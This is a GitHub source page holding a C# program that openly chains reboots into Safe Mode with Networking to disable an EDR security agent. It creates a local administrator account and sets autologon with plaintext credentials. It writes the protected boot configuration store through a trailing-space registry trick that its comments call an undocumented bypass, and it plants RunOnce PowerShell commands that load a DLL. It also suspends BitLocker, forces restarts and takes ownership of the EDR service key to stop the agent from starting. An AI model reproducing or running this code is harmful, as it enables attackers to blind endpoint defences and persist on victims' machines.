-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathProgram.cs
895 lines (689 loc) · 31.4 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
using System.Security.AccessControl;
using System.Security.Principal;
using Microsoft.Win32;
using System.Runtime.InteropServices;
using System;
using System.Management;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using System.Linq;
using System.DirectoryServices;
namespace Program
{
public class stage0
{
public static void Main()
{
// Perform interactive logon type 2 in order to cache compromised _domain_ creds on system so that they can be used in safe mode
//WindowsLoadUserProfile lup = new WindowsLoadUserProfile();
//lup.GoMain();
// Alter registry for auto logon with compromised _domain_ creds
//autoLogon al = new autoLogon();
//al.domain();
// Create new local user and add to local admin group. If this is set, make sure to set the correct registry autologon for local too (directly below)
localAdminCreate zAdmin = new localAdminCreate();
zAdmin.createUser();
// Alter registry for auto logon with local creds (see directly above)
autoLogon al = new autoLogon();
al.local();
// Alter registry to setup Safe Mode with Networking at next boot
enableSMWN smwn = new enableSMWN();
smwn.set();
// Alter registry to set RunOnce entry to kick off next stage. This is what runs once the computer has boot up into safe mode
runOnce ro = new runOnce();
ro.stage1Go();
// Suspend BitLocker to prevent hangups on reboots. Can be disabled for virtual environment
suspendBitLocker sbl = new suspendBitLocker();
sbl.Suspend();
// Initiate forced restart to get into safe mode
TokenManipulator.AddPrivilege("SeShutdownPrivilege");
restart r = new restart();
r.StartShutDown();
}
}
public class stage1
{
public static void Main1()
{
// Remove safe mode boot that was previously set in stage0 using registry method
disableSMWN smwn = new disableSMWN();
smwn.remove();
// writes some text to c:\users\public\safemode.txt just to confirm that the program made it into safe mode. this has been useful for troubleshooting
confirmSafeMode csm = new confirmSafeMode();
csm.write();
// Assign required privileges to process token in order to make changes within registry
TokenManipulator.AddPrivilege("SeRestorePrivilege");
TokenManipulator.AddPrivilege("SeBackupPrivilege");
TokenManipulator.AddPrivilege("SeTakeOwnershipPrivilege");
// Do something nasty in safe mode like set EDR services to disabled
neuterEDR ne = new neuterEDR();
ne.neuterRegChange();
// Alter registry to set RunOnce entry to kick off next stage
runOnce ro = new runOnce();
ro.stage2Go();
// Initiate forced restart
TokenManipulator.AddPrivilege("SeShutdownPrivilege");
restart r = new restart();
r.StartShutDown();
}
}
public class stage2
{
public static void Main2()
{
// Disabling auto logon
disableAutoLogon dal = new disableAutoLogon();
dal.s2AlterRegistry1();
// Do some more things here once back in Normal Mode
}
}
public class WindowsLoadUserProfile
{
///
/// The LogonUser function attempts to log a user on to the local computer.
///
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool LogonUser(String lpszUsername, String lpszDomain, IntPtr lpszPassword, int dwLogonType, int dwLogonProvider, out IntPtr hToken);
///
/// The DuplicateTokenEx function creates a new access token that duplicates an existing token. This function can create either a primary token or an impersonation token.
///
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool DuplicateTokenEx(IntPtr hExistingToken, int dwDesiredAccess, ref SecurityAttributes lpTokenAttributes,
int impersonationLevel, int tokenType, out IntPtr phNewToken);
///
/// The LoadUserProfile function loads the specified user's profile
///
[DllImport("userenv.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool LoadUserProfile(IntPtr hToken, ref ProfileInfo lpProfileInfo);
///
/// The UnloadUserProfile function unloads a user's profile that was loaded by the LoadUserProfile function
///
[DllImport("userenv.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool UnloadUserProfile(IntPtr hToken, IntPtr hProfile);
///
/// Closes an open object handle.
///
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool CloseHandle(IntPtr handle);
///
/// The SECURITY_ATTRIBUTES structure contains the security descriptor for an object and specifies whether the handle retrieved by specifying this structure is inheritable
///
[StructLayout(LayoutKind.Sequential)]
public struct SecurityAttributes
{
public int dwLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
///
/// Profile Info
///
[StructLayout(LayoutKind.Sequential)]
public struct ProfileInfo
{
///
/// Specifies the size of the structure, in bytes.
///
public int dwSize;
///
/// This member can be one of the following flags: PI_NOUI or PI_APPLYPOLICY
///
public int dwFlags;
///
/// Pointer to the name of the user.
/// This member is used as the base name of the directory in which to store a new profile.
///
public string lpUserName;
///
/// Pointer to the roaming user profile path.
/// If the user does not have a roaming profile, this member can be NULL.
///
public string lpProfilePath;
///
/// Pointer to the default user profile path. This member can be NULL.
///
public string lpDefaultPath;
///
/// Pointer to the name of the validating domain controller, in NetBIOS format.
/// If this member is NULL, the Windows NT 4.0-style policy will not be applied.
///
public string lpServerName;
///
/// Pointer to the path of the Windows NT 4.0-style policy file. This member can be NULL.
///
public string lpPolicyPath;
///
/// Handle to the HKEY_CURRENT_USER registry key.
///
public IntPtr hProfile;
} ///
/// Logon type option.
///
[FlagsAttribute]
public enum LogonType
{
///
/// This logon type is intended for users who will be interactively using the computer
///
Interactive = 2,
///
/// This logon type is intended for high performance servers to authenticate plaintext passwords.
///
Network = 3,
///
/// This logon type is intended for batch servers, where processes may be executing on behalf of a user without their direct intervention.
///
Batch = 4,
///
/// Indicates a service-type logon. The account provided must have the service privilege enabled.
///
Service = 5,
///
/// This logon type is for GINA DLLs that log on users who will be interactively using the computer.
///
Unlock = 7
}
///
/// Specifies the logon provider.
///
[FlagsAttribute]
public enum LogonProvider
{
///
/// Use the standard logon provider for the system.
///
Default = 0,
///
/// Use the negotiate logon provider. (WINNT50)
///
Negotiate = 3,
///
/// Use the NTLM logon provider (WINNT40)
///
NTLM = 2,
///
/// Use the Windows NT 3.5 logon provider.
///
WinNT35 = 1
}
///
/// Specifies the requested access rights for the new token.
///
[FlagsAttribute]
public enum DuplicateTokenDesiredAccess
{
///
/// To request the same access rights as the existing token, specify zero.
///
SameAsExisting = 0,
///
/// To request all access rights that are valid for the caller, specify MAXIMUM_ALLOWED.
///
MaximumAllowed = 0x02000000
}
///
/// Specifies a value from the SECURITY_IMPERSONATION_LEVEL enumeration that indicates the impersonation level of the new token
///
[FlagsAttribute]
public enum ImpersonationLevel
{
///
/// The server process cannot obtain identification information about the client, and it cannot impersonate the client. It is defined with no value given, and thus, by ANSI C rules, defaults to a value of zero.
///
Anonymous = 0,
///
/// The server process can obtain information about the client, such as security identifiers and privileges, but it cannot impersonate the client. This is useful for servers that export their own objects, for example, database products that export tables and views. Using the retrieved client-security information, the server can make access-validation decisions without being able to use other services that are using the client's security context.,
///
Identification = 1,
///
/// The server process can impersonate the client's security context on its local system. The server cannot impersonate the client on remote systems.,
///
Impersonation = 2,
///
/// The server process can impersonate the client's security context on remote systems. This impersonation level is not supported on WinNT
///
Delegation = 3
}
///
/// Specifies the requested access rights for the new token.
///
[FlagsAttribute]
public enum TokenType
{
///
/// The new token is a primary token that you can use in the CreateProcessAsUser function.
///
Primary = 1,
///
/// The new token is an impersonation token.
///
Impersonation = 2
}
public void GoMain()
{
WindowsLoadUserProfile wu = new WindowsLoadUserProfile();
try
{
// already created user with cmd: net user testuser testpwd /ADD
wu.LogonUser("Domain_account_here", System.Environment.UserDomainName, "domain_password_here",
LogonType.Interactive, LogonProvider.Default);
wu.LoadUserProfile("domain_account_here"); // create user's profile if not exist
wu.LogOffUser();
}
catch (Exception ex)
{
System.Text.StringBuilder sb = new System.Text.StringBuilder();
while (ex != null)
{
sb.AppendLine("Message: " + ex.Message);
sb.AppendLine("Source: " + ex.Source);
sb.AppendLine("Stack: ");
sb.AppendLine(ex.StackTrace);
ex = ex.InnerException;
}
Console.WriteLine(sb.ToString());
if (System.Diagnostics.Debugger.IsAttached)
System.Diagnostics.Debugger.Break();
}
}
IntPtr hToken = new IntPtr(0);
IntPtr hProfile = new IntPtr(0);
private void LogonUser(String user, String domain, /*SecureString password*/ String password, LogonType type, LogonProvider provider)
{
#if false
if (password.IsReadOnly() == false)
throw new InvalidOperationException("SecureString not ReadOnly");
#endif
if (string.IsNullOrEmpty(user) == true || string.IsNullOrEmpty(domain) == true)
throw new InvalidOperationException("No user account specified");
IntPtr handle;
//IntPtr bstr = Marshal.SecureStringToBSTR(password);
IntPtr bstr = Marshal.StringToHGlobalUni(password);
bool result = LogonUser(user, domain, bstr, (int)type, (int)provider, out handle);
//Marshal.ZeroFreeBSTR(bstr);
Marshal.FreeHGlobal(bstr);
if (result == false)
throw new System.ComponentModel.Win32Exception();
SecurityAttributes sa = new SecurityAttributes();
sa.dwLength = Marshal.SizeOf(sa);
sa.lpSecurityDescriptor = IntPtr.Zero;
sa.bInheritHandle = true;
IntPtr newHandle;
result = DuplicateTokenEx(handle, (int)DuplicateTokenDesiredAccess.MaximumAllowed, ref sa,
(int)ImpersonationLevel.Impersonation, (int)TokenType.Primary, out newHandle);
if (result == false)
throw new System.ComponentModel.Win32Exception();
CloseHandle(handle);
handle = newHandle;
hToken = handle;
}
public void LoadUserProfile(string username)
{
if (hToken == IntPtr.Zero)
throw new InvalidOperationException("User not logged in");
ProfileInfo info = new ProfileInfo();
info.dwSize = Marshal.SizeOf(info);
info.lpUserName = username;
info.dwFlags = 1; // PI_NOUI 0x00000001 // Prevents displaying of messages
bool result = LoadUserProfile(hToken, ref info);
if (result == false)
throw new System.ComponentModel.Win32Exception();
hProfile = info.hProfile;
}
internal void LogOffUser()
{
#if false
string identity = WindowsIdentity.GetCurrent().Name;
string threadIdentity = Thread.CurrentPrincipal.Identity.Name;
scriptTask.State.AddMessage(DateTime.Now, string.Format("Logging off user {0} ({1})", identity, threadIdentity));
#endif
WindowsIdentity.Impersonate(IntPtr.Zero);
#if false
identity = WindowsIdentity.GetCurrent().Name;
Thread.CurrentPrincipal = new WindowsPrincipal(WindowsIdentity.GetCurrent());
threadIdentity = Thread.CurrentPrincipal.Identity.Name;
scriptTask.State.AddMessage(DateTime.Now, string.Format("Identity now {0} ({1})", identity, threadIdentity));
#endif
if (hToken != IntPtr.Zero && hProfile != IntPtr.Zero)
{
bool result = UnloadUserProfile(hToken, hProfile);
hProfile = IntPtr.Zero;
if (result == false)
throw new System.ComponentModel.Win32Exception();
}
if (hToken != IntPtr.Zero)
{
bool result = CloseHandle(hToken);
hToken = IntPtr.Zero;
if (result == false)
throw new System.ComponentModel.Win32Exception();
}
}
}
public class localAdminCreate
{
public void createUser()
{
try
{
string Name = "local_user";
string Pass = "password-goes-here";
DirectoryEntry AD = new DirectoryEntry("WinNT://" +
Environment.MachineName + ",computer");
DirectoryEntry NewUser = AD.Children.Add(Name, "user");
NewUser.Invoke("SetPassword", new object[] { Pass });
NewUser.Invoke("Put", new object[] { "Description", "A description goes here, if you want" });
NewUser.CommitChanges();
DirectoryEntry grp;
grp = AD.Children.Find("Administrators", "group");
if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); }
}
catch
{
}
}
}
public class autoLogon
{
public void domain()
{
const string s0ArKeyName1 = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon";
Registry.SetValue(s0ArKeyName1, "AutoAdminLogon", "1");
Registry.SetValue(s0ArKeyName1, "DefaultUserName", "username_here");
Registry.SetValue(s0ArKeyName1, "DefaultDomainName", "domain_here");
Registry.SetValue(s0ArKeyName1, "DefaultPassword", "password_here");
}
public void local()
{
const string s0ArKeyName1 = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon";
Registry.SetValue(s0ArKeyName1, "AutoAdminLogon", "1");
Registry.SetValue(s0ArKeyName1, "DefaultUserName", "local_user");
Registry.SetValue(s0ArKeyName1, "DefaultPassword", "password-goes-here");
}
}
public class disableAutoLogon
{
public void s2AlterRegistry1()
{
try
{
RegistryKey reg = Registry.LocalMachine;
RegistryKey subKey = reg.OpenSubKey(@"Software\Microsoft\Windows NT\CurrentVersion\Winlogon", true);
try
{
subKey.DeleteValue("AutoAdminLogon");
}
catch
{
}
try
{
subKey.DeleteValue("DefaultUserName");
}
catch
{
}
try
{
subKey.DeleteValue("DefaultPassword");
}
catch
{
}
}
catch (Exception)
{
return;
}
}
}
public class runOnce
{
public void stage1Go()
{
const string s1GoKeyName1 = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce";
Registry.SetValue(s1GoKeyName1, "*Stage1Go", "powershell.exe -command \"set-location -path c:\\windows\\diagnostics\\system\\networking; import-module .\\UtilityFunctions.ps1; RegSnapin ..\\..\\..\\..\\users\\public\\combined.dll;[Program.stage1]::Main1()\"");
}
public void stage2Go()
{
const string s2GoKeyName1 = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce";
Registry.SetValue(s2GoKeyName1, "*Stage2Go", "powershell.exe -command \"set-location -path c:\\windows\\diagnostics\\system\\networking; import-module .\\UtilityFunctions.ps1; RegSnapin ..\\..\\..\\..\\users\\public\\combined.dll;[Program.stage2]::Main2()\"");
}
}
public class confirmSafeMode
{
[STAThread]
public void write()
{
try
{
StreamWriter sw = new StreamWriter("C:\\users\\public\\safemode.txt");
sw.WriteLine("Hello from safe mode");
sw.Close();
}
catch(Exception e)
{
Console.WriteLine("Exception: " + e.Message);
}
finally
{
Console.WriteLine("Executing finally block.");
}
}
}
public class enableSMWN
{
public void set()
{
// Learning the default boot loader via WMI, which is different on every system (which complicates matters)
ConnectionOptions connectionOptions = new ConnectionOptions();
connectionOptions.Impersonation = ImpersonationLevel.Impersonate;
connectionOptions.EnablePrivileges = true;
ManagementScope managementScope = new ManagementScope(@"root\WMI", connectionOptions);
ManagementObject privateLateBoundObject = new ManagementObject(managementScope, new ManagementPath("root\\WMI:BcdObject.Id=\"{9dea862c-5cdd-4e70-acc1-f32b344d4795}\",StoreFilePath=\"\""), null);
ManagementBaseObject inParams = null;
inParams = privateLateBoundObject.GetMethodParameters("GetElement");
inParams["Type"] = ((UInt32)0x24000001);
ManagementBaseObject outParams = privateLateBoundObject.InvokeMethod("GetElement", inParams, null);
ManagementBaseObject mboOut = ((ManagementBaseObject)(outParams.Properties["Element"].Value));
string[] osIdList = (string[]) mboOut.GetPropertyValue("Ids");
foreach (string osGuid in osIdList)
{
ManagementObject currentManObj = new ManagementObject(managementScope, new ManagementPath("root\\WMI:BcdObject.Id=\"" + osGuid + "\",StoreFilePath=\"\""), null);
var defaultBootLoader = ("" + currentManObj.GetPropertyValue("Id"));
Console.WriteLine ("Default boot loader is: " + defaultBootLoader);
var subKey1 = Registry.LocalMachine.OpenSubKey("BCD00000000\\Objects\\" + defaultBootLoader + "\\Elements", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.TakeOwnership);
var admins1 = new NTAccount("Administrators");
var ac1 = subKey1.GetAccessControl();
ac1.SetOwner(admins1);
subKey1.SetAccessControl(ac1);
// Grant access
ac1.AddAccessRule(new RegistryAccessRule(admins1, RegistryRights.FullControl, AccessControlType.Allow));
subKey1.SetAccessControl(ac1);
Console.WriteLine("this is subkey1:" + subKey1);
//This is an undocumented bypass of Windows controls designed to prevent modifications to the BCD store (notice the trailing space in the key. Windows will honor this as the regular key that does not have a space.)
Registry.LocalMachine.CreateSubKey("BCD00000000\\Objects\\" + defaultBootLoader + "\\Elements\\" + "\\25000080 ");
string keyName = "HKEY_LOCAL_MACHINE\\BCD00000000\\Objects\\" + defaultBootLoader + "\\Elements\\" + "\\25000080 ";
Registry.SetValue(keyName, "Element", new byte[] { 01,00,00,00,00,00,00,00 }, RegistryValueKind.Binary);
}
}
}
public class disableSMWN
{
public void remove()
{
// Learning the default boot loader via WMI, which is different on every system (which complicates matters)
ConnectionOptions connectionOptions = new ConnectionOptions();
connectionOptions.Impersonation = ImpersonationLevel.Impersonate;
connectionOptions.EnablePrivileges = true;
ManagementScope managementScope = new ManagementScope(@"root\WMI", connectionOptions);
ManagementObject privateLateBoundObject = new ManagementObject(managementScope, new ManagementPath("root\\WMI:BcdObject.Id=\"{9dea862c-5cdd-4e70-acc1-f32b344d4795}\",StoreFilePath=\"\""), null);
ManagementBaseObject inParams = null;
inParams = privateLateBoundObject.GetMethodParameters("GetElement");
inParams["Type"] = ((UInt32)0x24000001);
ManagementBaseObject outParams = privateLateBoundObject.InvokeMethod("GetElement", inParams, null);
ManagementBaseObject mboOut = ((ManagementBaseObject)(outParams.Properties["Element"].Value));
string[] osIdList = (string[]) mboOut.GetPropertyValue("Ids");
foreach (string osGuid in osIdList)
{
ManagementObject currentManObj = new ManagementObject(managementScope, new ManagementPath("root\\WMI:BcdObject.Id=\"" + osGuid + "\",StoreFilePath=\"\""), null);
var defaultBootLoader = ("" + currentManObj.GetPropertyValue("Id"));
Console.WriteLine ("Default boot loader is: " + defaultBootLoader);
var subKey2 = Registry.LocalMachine.OpenSubKey("BCD00000000\\Objects\\" + defaultBootLoader + "\\Elements\\");
{
// Determines if computer is configured for safe mode with networking
foreach (var i in subKey2.GetSubKeyNames().Where(i => i == "25000080 "))
{
Console.WriteLine("Computer is configured for safeboot based on: " + i);
var fullSafeBootKey = subKey2 + "\\25000080 ";
Console.WriteLine (fullSafeBootKey);
Console.WriteLine (defaultBootLoader);
var open = Registry.LocalMachine.OpenSubKey("BCD00000000\\Objects\\" + defaultBootLoader + "\\Elements\\");
Console.WriteLine ("Opened:" + open);
Console.WriteLine (i);
// Give Administrators full permissions of key
var subKeyPerm = Registry.LocalMachine.OpenSubKey("BCD00000000\\Objects\\" + defaultBootLoader + "\\Elements\\" + i +"", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.TakeOwnership);
var group = new NTAccount("Administrators");
var ac = subKeyPerm.GetAccessControl();
ac.AddAccessRule(new RegistryAccessRule(group, RegistryRights.FullControl, AccessControlType.Allow));
subKeyPerm.SetAccessControl(ac);
Console.WriteLine (subKeyPerm);
using(RegistryKey regkey = Registry.LocalMachine.OpenSubKey("BCD00000000\\Objects\\" + defaultBootLoader + "\\Elements\\", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.TakeOwnership))
{
if (regkey.OpenSubKey("25000080 ") != null)
{
regkey.DeleteSubKeyTree("25000080 ");
}
}
}
}
}
}
}
public class neuterEDR
{
public void neuterRegChange()
{
try
{
// Take ownership of registry key
var subKey1 = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services\EDR", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.TakeOwnership);
var admins1 = new NTAccount("Administrators");
var ac1 = subKey1.GetAccessControl();
ac1.SetOwner(admins1);
subKey1.SetAccessControl(ac1);
// Grant full control
ac1.AddAccessRule(new RegistryAccessRule(admins1, RegistryRights.FullControl, AccessControlType.Allow));
subKey1.SetAccessControl(ac1);
// Modify values to prevent EDR agent from starting up in normal mode
const string keyName1 = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EDR";
Registry.SetValue(keyName1, "Start", 0);
}
catch
{
}
}
}
public class suspendBitLocker
{
public void Suspend()
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "powershell.exe";
startInfo.Arguments = "suspend-bitlocker -mountpoint 'c:' -rebootcount 3";
process.StartInfo = startInfo;
process.Start();
}
}
class restart
{
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
private static extern bool ExitWindowsEx(ExitWindows uFlags, int dwReason);
private enum ExitWindows : uint
{
EWX_LOGOFF = 0x00,
EWX_SHUTDOWN = 0x01,
EWX_REBOOT = 0x02,
EWX_POWEROFF = 0x08,
EWX_RESTARTAPPS = 0x40,
EWX_FORCE = 0x04,
EWX_FORCEIFHUNG = 0x10,
}
public void StartShutDown()
{
ExitWindowsEx(ExitWindows.EWX_REBOOT | ExitWindows.EWX_FORCE, 0);
}
}
public class TokenManipulator
{
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
[DllImport("kernel32.dll", ExactSpelling = true)]
internal static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr
phtok);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool LookupPrivilegeValue(string host, string name,
ref long pluid);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
internal struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
internal const int SE_PRIVILEGE_DISABLED = 0x00000000;
internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
internal const int TOKEN_QUERY = 0x00000008;
internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
internal const string SeSecurity = "SeSecurityPrivilege";
public static bool AddPrivilege(string privilege)
{
try
{
bool retVal;
TokPriv1Luid tp;
IntPtr hproc = GetCurrentProcess();
IntPtr htok = IntPtr.Zero;
retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
tp.Count = 1;
tp.Luid = 0;
tp.Attr = SE_PRIVILEGE_ENABLED;
retVal = LookupPrivilegeValue(null, privilege, ref tp.Luid);
retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
return retVal;
}
catch (Exception ex)
{
throw ex;
}
}
public static bool RemovePrivilege(string privilege)
{
try
{
bool retVal;
TokPriv1Luid tp;
IntPtr hproc = GetCurrentProcess();
IntPtr htok = IntPtr.Zero;
retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
tp.Count = 1;
tp.Luid = 0;
tp.Attr = SE_PRIVILEGE_DISABLED;
retVal = LookupPrivilegeValue(null, privilege, ref tp.Luid);
retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
return retVal;
}
catch (Exception ex)
{
throw ex;
}
}
}
}